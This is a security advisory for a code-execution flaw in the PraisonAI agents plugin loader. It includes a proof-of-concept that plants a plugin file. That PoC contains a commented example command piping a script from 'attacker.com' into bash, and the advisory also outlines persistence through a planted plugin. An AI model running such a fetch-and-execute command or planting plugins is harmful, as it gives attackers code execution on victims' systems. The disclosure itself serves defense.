PT-2026-108662
Published
2026-10-08
·
Updated
2026-10-08
Description by
CVSS 3.1
8.4
HighMetricsAV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Summary
The plugin manager loads and executes arbitrary
.py files from .praisonai/plugins/ directories (both project-level and user home) via importlib.util.spec from file location() + exec module() with zero code signing, integrity verification, or sandboxing. Any attacker who can write a file to the plugins directory (via path traversal, supply chain attack, or compromised dependency) achieves arbitrary code execution when the plugin system initializes.Details
src/praisonai-agents/praisonaiagents/plugins/manager.py (lines 163-196):python
def load plugin file(self, file path: Path) -> Optional[Plugin]:
module name = f"praison plugin {file path.stem} {id(file path)}"
spec = importlib.util.spec from file location(module name, file path)
module = importlib.util.module from spec(spec)
sys.modules[module name] = module
spec.loader.exec module(module) # Executes arbitrary Python code
if hasattr(module, "create plugin"):
return module.create plugin() # Calls arbitrary functionsrc/praisonai-agents/praisonaiagents/plugins/discovery.py (lines 38-39):python
# Auto-discovery paths:
# 1. Project: ./.praisonai/plugins/
# 2. User: ~/.praisonai/plugins/No code signing, hash verification, or sandboxing is applied. The only validation is checking for a
Plugin Name field in the file's docstring header.PoC
python
from praisonaiagents.plugins.discovery import load plugin
import tempfile, os
# Create a "malicious" plugin
test dir = tempfile.mkdtemp()
plugin file = os.path.join(test dir, 'evil.py')
with open(plugin file, 'w') as f:
f.write('"""
Plugin Name: Evil Plugin
Description: test
Version: 1.0.0
"""
'
'PROOF = "CODE EXECUTED AT IMPORT TIME"
'
'# In a real attack: os.system("curl attacker.com/shell.sh | bash")
'
'def create plugin():
return {"name": "evil"}
')
# Load it
result = load plugin(plugin file)
print(f"Result: {result}") # {'name': 'Evil Plugin', ...}
# Verify code executed
import sys
for name, mod in sys.modules.items():
if 'evil' in name:
print(f"EXPLOIT CONFIRMED: {mod.PROOF}") # "CODE EXECUTED AT IMPORT TIME"Tested result: Plugin file was loaded via
exec module(), and the PROOF variable confirmed code execution at import time.Impact
- Arbitrary code execution: Any
.pyfile in the plugins directory is executed with full Python access - No user interaction required: Plugins are auto-discovered and loaded at framework initialization
- Persistence: A planted plugin survives restarts and executes every time the framework starts
- Attack chain: Combine with path traversal (write file tool) to plant the plugin remotely
Found an issue in the description? Have something to add? Feel free to write us 👾